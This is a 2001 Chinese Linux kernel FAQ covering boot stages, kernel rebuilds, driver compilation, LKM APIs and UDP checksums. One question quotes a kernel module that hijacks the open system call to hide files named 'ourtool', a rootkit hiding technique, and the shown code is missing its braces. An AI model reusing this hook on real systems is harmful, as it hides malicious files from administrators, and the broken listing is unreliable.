内核FAQ(2001.05.06~2001.05.16)

内核FAQ(2001.05.06~2001.05.16)

http://LinuxAid.com.cn  axing

返回〗〖转发〗

1、 请问linux的启动过程 
2、 未改版本重编译内核后要安装吗?
3、 编译8390.c的一个问题
4、 LKM内核编程问题
5、 sk_buff
6、 在蓝点Linux 2.2.13 上编译可加载内核模块出错

1、请问linux的启动过程

    bios读入bootsect.s,bootsect.s读入setup.s和kernel,然后将控制权交给setup.s,然后呢?kernel在引导过程中起什么作用?我知道Loading...是表示bootsect在读入内核,那么其他的信息是进行什么操作的时候出现的呢?还有,rc.sysinit和rc.local在启动中起什么作用?我对linux引导过程还是很糊涂,请那个大哥给我指点迷津,多谢多谢。

    setup.S是为启动保护模式前做准备的,目的是建立内核的运行环境,当控制转到head.S中后,工作主要是建立一个4M的页表以及一个什么也干不了的IDT表,并且建立init的堆栈。最后跳转到start_kernel这个c函数中执行。在这里面工作就在前面已经建立的4M内存映射的基础上继续进行更高等的初始化了。
基本流程是:bios->bootsect.S->setup.S->head.S->start_kernel->init-> do_basic_setup->创建init进程。

    其他信息大部分在do_basic_setup中打印出来的,主要是各种设备的信息。rc.sysinit和rc.local是在init进程里面被解释执行。主要是创建一些精灵进程和初始化一些网络服务进程。具体的看看相关的脚本文件吧。

2、未改版本重编译内核后要安装吗?

    我要在RH6.2装Oracle8i,按照说明需要修改系统内核中的共享内存和段的数值后重新编译,未升级内核。
    具体修改shmparam.h中的SHMMAX、SHMMNI、SHMSEG的数值及sem.h中的SEMMSL、SEGMNS、SEMOPM的数值。
    重编译过程中用make mrproper正常;运行make config出现许多提示,统统按回车键使用默认值;make dep、make clean、make bzImage都较正常。然后将bzImage复制到/boot目录下,修改/etc/lilo.conf文件内的内容,使image=/boot/bzImage-2.2.14,然后运行lilo,再重新启动。
    启动后提示两个错误,其中一个是以太网错,进入linux后网络不能用。

    请各位内核高手问:1.以上步骤哪些有错?2.我未升级内核,仅修改部分参数,是否可以不做上述的全过程?3.如何知道系统已经确实按新的SHMMAX等值运行了。

    编译内核前,配置时干吗用make config哪,可以用make menuconfig或者make xconfig,要选择网卡驱动。

3、编译8390.c的一个问题

    请问如何用gcc编译8390.c 和ne.c 的LINUX内核驱动程序。
  
    试试gcc -O3 -Wall -DMODULE -D__KERNEL__ -DLINUX -c 8309.c(ne.c)  
  
redhat7.O市场反映很不好,存在很多问题,不适合作编程开发,建议用6.2版,或7.1版。

4、LKM内核编程问题 

    编译的LKM程序在红旗linux下可以编译通过,但在Turbo linux 编译时提示头文件出错. 不知道是何原因,如何处理.

    你用的是哪个版本的内核,2。2后的内核应该用copy_from_user代替memcpy_fromfs 

5、sk_buff 

    哪位大侠知道udp包的校验和是在哪个函授里计算并写到sk_buff中的,请指点小弟不胜感激,谢谢。  
  
    /usr/src/linux/net/ipv4/udp.c中:
    udp_check(....)调用csum_tcpudp_magic计算校验和,你可查看/usr/src/linux/include/asm-i386/checksum.h查看具体的算法 csum是check sum 的一四。
    写入sk_buff是在udp_rcv(....)完成的。
 
6、在蓝点Linux 2.2.13 上编译可加载内核模块出错

原程序如下:
/*hello.c*/
#define MODULE 
#define __KERNEL__ 
#include <linux/module.h> 
#include <linux/kernel.h> 
#include <asm/unistd.h> 
#include <sys/syscall.h> 
#include <sys/types.h> 
#include <asm/fcntl.h> 
#include <asm/errno.h> 
#include <linux/types.h> 
#include <linux/dirent.h> 
#include <sys/mman.h> 
#include <linux/string.h> 
#include <linux/fs.h> 
#include <linux/malloc.h> 
extern void* sys_call_table[]; 

int (*orig_open)(const char *pathname, int flag, mode_t mode); 

int my_open(const char *pathname, int flag, mode_t mode) 

char *kernel_pathname; 
char hide[]="ourtool"; 

/*转换到内核空间*/ 
kernel_pathname = (char*) kmalloc(256, GFP_KERNEL); 
memcpy_fromfs(kernel_pathname, pathname, 255); 
if(strstr(kernel_pathname, (char*)&hide ) != NULL) 

kfree(kernel_pathname); 
/*返回错误代码,'file dos not exist'*/ 
return -ENOENT; 

else 

kfree(kernel_pathname); 
/*一切OK,这不是我们的工具*/ 
return orig_open(pathname, flag, mode); 





int init_module(void)        /*初始化模块*/ 

orig_open=sys_call_table[SYS_open]; 
sys_call_table[SYS_open]=my_open; 
return 0; 


void cleanup_module(void)       /*卸载模块*/ 

sys_call_table[SYS_open]=orig_open;                   


/*end of hello.c*/


我以超级用户以如下命令进行编译:
gcc -c -O3 hello.c


编译不成功,提示如下信息:
In file included from /usr/include/linux/affs_fs_i.h:5,
                 from /usr/include/linux/fs.h:270,
                 from hello.c:14:
/usr/include/linux/time.h:69: warning: `FD_SET' redefined
/usr/include/sys/select.h:63: warning: this is the location of the previous definition
/usr/include/linux/time.h:70: warning: `FD_CLR' redefined
/usr/include/sys/select.h:64: warning: this is the location of the previous definition
/usr/include/linux/time.h:71: warning: `FD_ISSET' redefined
/usr/include/sys/select.h:65: warning: this is the location of the previous definition
/usr/include/linux/time.h:72: warning: `FD_ZERO' redefined
/usr/include/sys/select.h:66: warning: this is the location of the previous definition
In file included from /usr/include/linux/affs_fs_i.h:5,
                 from /usr/include/linux/fs.h:270,
                 from hello.c:14:
/usr/include/linux/time.h:9: redefinition of `struct timespec'
/usr/include/linux/time.h:51: parse error before `suseconds_t'
/usr/include/linux/time.h:51: warning: no semicolon at end of struct or union
/usr/include/linux/time.h:88: field `it_interval' has incomplete type
/usr/include/linux/time.h:89: field `it_value' has incomplete type
In file included from /usr/include/linux/fs.h:270,
                 from hello.c:14:
/usr/include/linux/affs_fs_i.h:11: field `kc_lru_time' has incomplete type
In file included from /usr/include/linux/fs.h:272,
                 from hello.c:14:
/usr/include/linux/efs_fs_i.h:13: parse error before `efs_ino_t'
/usr/include/linux/efs_fs_i.h:13: warning: data definition has no type or storage class
/usr/include/linux/efs_fs_i.h:49: parse error before `uint32_t'
/usr/include/linux/efs_fs_i.h:49: warning: no semicolon at end of struct or union
/usr/include/linux/efs_fs_i.h:57: parse error before `}'
In file included from /usr/include/linux/coda_fs_i.h:14,
                 from /usr/include/linux/fs.h:273,
                 from hello.c:14:
/usr/include/linux/coda.h:109: warning: redefinition of `u_quad_t'
/usr/include/sys/types.h:38: warning: `u_quad_t' previously declared here
In file included from /usr/include/linux/sched.h:13,
                 from /usr/include/linux/mm.h:4,
                 from /usr/include/linux/slab.h:14,
                 from /usr/include/linux/malloc.h:4,
                 from hello.c:15:
/usr/include/linux/times.h:5: parse error before `clock_t'
/usr/include/linux/times.h:5: warning: no semicolon at end of struct or union
/usr/include/linux/times.h:6: warning: data definition has no type or storage class
/usr/include/linux/times.h:7: parse error before `tms_cutime'
/usr/include/linux/times.h:7: warning: data definition has no type or storage class
/usr/include/linux/times.h:8: parse error before `tms_cstime'
/usr/include/linux/times.h:8: warning: data definition has no type or storage class
In file included from /usr/include/linux/sched.h:14,
                 from /usr/include/linux/mm.h:4,
                 from /usr/include/linux/slab.h:14,
                 from /usr/include/linux/malloc.h:4,
                 from hello.c:15:
/usr/include/linux/timex.h:159: field `time' has incomplete type
In file included from /usr/include/linux/signal.h:5,
                 from /usr/include/linux/sched.h:23,
                 from /usr/include/linux/mm.h:4,
                 from /usr/include/linux/slab.h:14,
                 from /usr/include/linux/malloc.h:4,
                 from hello.c:15:
/usr/include/asm/siginfo.h:48: parse error before `clock_t'
/usr/include/asm/siginfo.h:48: warning: no semicolon at end of struct or union
/usr/include/asm/siginfo.h:48: warning: no semicolon at end of struct or union
/usr/include/asm/siginfo.h:49: warning: no semicolon at end of struct or union
/usr/include/asm/siginfo.h:50: warning: data definition has no type or storage class
/usr/include/asm/siginfo.h:62: parse error before `}'
/usr/include/asm/siginfo.h:62: warning: data definition has no type or storage class
/usr/include/asm/siginfo.h:63: parse error before `}'
/usr/include/asm/siginfo.h:63: warning: data definition has no type or storage class
In file included from /usr/include/linux/sched.h:23,
                 from /usr/include/linux/mm.h:4,
                 from /usr/include/linux/slab.h:14,
                 from /usr/include/linux/malloc.h:4,
                 from hello.c:15:
/usr/include/linux/signal.h:15: parse error before `siginfo_t'
/usr/include/linux/signal.h:15: warning: no semicolon at end of struct or union
In file included from /usr/include/linux/sched.h:71,
                 from /usr/include/linux/mm.h:4,
                 from /usr/include/linux/slab.h:14,
                 from /usr/include/linux/malloc.h:4,
                 from hello.c:15:
/usr/include/linux/resource.h:22: field `ru_utime' has incomplete type
/usr/include/linux/resource.h:23: field `ru_stime' has incomplete type
In file included from /usr/include/linux/mm.h:4,
                 from /usr/include/linux/slab.h:14,
                 from /usr/include/linux/malloc.h:4,
                 from hello.c:15:
/usr/include/linux/sched.h:288: field `times' has incomplete type
In file included from /usr/include/linux/mm.h:4,
                 from /usr/include/linux/slab.h:14,
                 from /usr/include/linux/malloc.h:4,
                 from hello.c:15:
/usr/include/linux/sched.h:506: parse error before `siginfo_t'
hello.c:44: parse error before character 0241
hello.c:47: conflicting types for `sys_call_table'
hello.c:16: previous declaration of `sys_call_table'
hello.c:47: invalid initializer
hello.c:47: warning: data definition has no type or storage class
hello.c:48: parse error before `return'
hello.c:51: parse error before character 0241


不知究竟错在何处,希望各位师兄多多指教。'  
  
 /*hello.c*/
#define MODULE 
#define __KERNEL__ 
#include <linux/module.h> 
#include <linux/kernel.h> 
#include <asm/unistd.h> 
#include <sys/syscall.h> 
//#include <sys/types.h> 
//#include <asm/fcntl.h> 
#include <asm/errno.h> 
//#include <linux/types.h> 
//#include <linux/dirent.h> 
//#include <sys/mman.h> 
#include <linux/string.h> 
//#include <linux/fs.h> 
#include <linux/malloc.h> 
extern void* sys_call_table[]; 

int (*orig_open)(const char *pathname, int flag,..
.....
试一试
  
您在编译时再加上 -V2.7.2.3 选项试试,我多次遇问题,这样做好象百试百中  
  

责任编辑:axing(2001-06-06 17:48)
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值